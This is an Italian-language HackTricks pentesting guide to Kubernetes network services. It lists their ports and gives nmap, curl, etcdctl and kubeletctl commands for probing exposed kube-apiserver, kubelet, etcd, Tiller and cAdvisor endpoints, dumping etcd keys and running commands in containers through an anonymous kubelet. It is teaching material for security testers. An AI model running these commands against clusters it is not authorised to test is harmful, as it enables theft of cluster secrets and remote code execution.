Pentesting Kubernetes Services
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Kubernetes utilizza diversi servizi di rete specifici che potresti trovare esposti a Internet o in una rete interna una volta che hai compromesso un pod.
Trovare pod esposti con OSINT
Un modo potrebbe essere cercare Identity LIKE "k8s.%.com"
in crt.sh per trovare sottodomini relativi a kubernetes. Un altro modo potrebbe essere cercare "k8s.%.com"
in github e cercare file YAML contenenti la stringa.
Come Kubernetes Espone i Servizi
Potrebbe esserti utile capire come Kubernetes può esporre servizi pubblicamente per trovarli:
Exposing Services in Kubernetes
Trovare pod esposti tramite scansione delle porte
Le seguenti porte potrebbero essere aperte in un cluster Kubernetes:
Porta | Processo | Descrizione |
---|---|---|
443/TCP | kube-apiserver | Porta API di Kubernetes |
2379/TCP | etcd | |
6666/TCP | etcd | etcd |
4194/TCP | cAdvisor | Metriche del contenitore |
6443/TCP | kube-apiserver | Porta API di Kubernetes |
8443/TCP | kube-apiserver | Porta API di Minikube |
8080/TCP | kube-apiserver | Porta API non sicura |
10250/TCP | kubelet | API HTTPS che consente accesso in modalità completa |
10255/TCP | kubelet | Porta HTTP di sola lettura non autenticata: pod, pod in esecuzione e stato del nodo |
10256/TCP | kube-proxy | Server di controllo dello stato di Kube Proxy |
9099/TCP | calico-felix | Server di controllo dello stato per Calico |
6782-4/TCP | weave | Metriche e endpoint |
30000-32767/TCP | NodePort | Proxy ai servizi |
44134/TCP | Tiller | Servizio Helm in ascolto |
Nmap
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
Kube-apiserver
Questo è il servizio API Kubernetes con cui gli amministratori comunicano solitamente utilizzando lo strumento kubectl
.
Porte comuni: 6443 e 443, ma anche 8443 in minikube e 8080 come non sicura.
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
Controlla la seguente pagina per imparare come ottenere dati sensibili e eseguire azioni sensibili parlando con questo servizio:
Kubelet API
Questo servizio è in esecuzione in ogni nodo del cluster. È il servizio che controlla i pod all'interno del nodo. Comunica con il kube-apiserver.
Se trovi questo servizio esposto potresti aver trovato un RCE non autenticato.
Kubelet API
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
Se la risposta è Unauthorized
, allora è necessaria l'autenticazione.
Se puoi elencare i nodi, puoi ottenere un elenco degli endpoint kubelet con:
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
kubelet (Solo lettura)
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
API etcd
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Tiller
helm --host tiller-deploy.kube-system:44134 version
Potresti abusare di questo servizio per elevare i privilegi all'interno di Kubernetes:
cAdvisor
Servizio utile per raccogliere metriche.
curl -k https://<IP Address>:4194
NodePort
Quando una porta è esposta in
sudo nmap -sS -p 30000-32767 <IP>
Vulnerable Misconfigurations
Kube-apiserver Accesso Anonimo
L'accesso anonimo agli endpoint API kube-apiserver non è consentito. Ma puoi controllare alcuni endpoint:
Controllo dell'Accesso Anonimo a ETCD
L'ETCD memorizza i segreti del cluster, i file di configurazione e altri dati sensibili. Per default, l'ETCD non può essere accessibile anonimamente, ma è sempre bene controllare.
Se l'ETCD può essere accessibile anonimamente, potresti dover utilizzare il etcdctl strumento. Il seguente comando recupererà tutte le chiavi memorizzate:
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
Kubelet RCE
La documentazione di Kubelet spiega che per default l'accesso anonimo al servizio è consentito:
Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un nome utente di
system:anonymous
e un nome di gruppo disystem:unauthenticated
Per comprendere meglio come funziona l'autenticazione e l'autorizzazione dell'API Kubelet, controlla questa pagina:
Kubelet Authentication & Authorization
L'API del servizio Kubelet non è documentata, ma il codice sorgente può essere trovato qui e trovare gli endpoint esposti è facile come eseguire:
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
Path("/pods").
Path("/run")
Path("/exec")
Path("/attach")
Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
Tutti sembrano interessanti.
Puoi usare lo Kubeletctl per interagire con i Kubelet e i loro endpoint.
/pods
Questo endpoint elenca i pod e i loro container:
kubeletctl pods
/exec
Questo endpoint consente di eseguire codice all'interno di qualsiasi container molto facilmente:
kubeletctl exec [command]
note
Per evitare questo attacco, il servizio kubelet dovrebbe essere eseguito con --anonymous-auth false
e il servizio dovrebbe essere segregato a livello di rete.
Verifica dell'esposizione delle informazioni del Kubelet (porta di sola lettura)
Quando una porta di sola lettura del kubelet è esposta, diventa possibile per parti non autorizzate recuperare informazioni dall'API. L'esposizione di questa porta può portare alla divulgazione di vari elementi di configurazione del cluster. Sebbene le informazioni, inclusi nomi dei pod, posizioni di file interni e altre configurazioni, possano non essere critiche, la loro esposizione rappresenta comunque un rischio per la sicurezza e dovrebbe essere evitata.
Un esempio di come questa vulnerabilità possa essere sfruttata coinvolge un attaccante remoto che accede a un URL specifico. Navigando su http://<external-IP>:10255/pods
, l'attaccante può potenzialmente recuperare informazioni sensibili dal kubelet:
Riferimenti
Kubernetes Pentest Methodology Part 2
https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.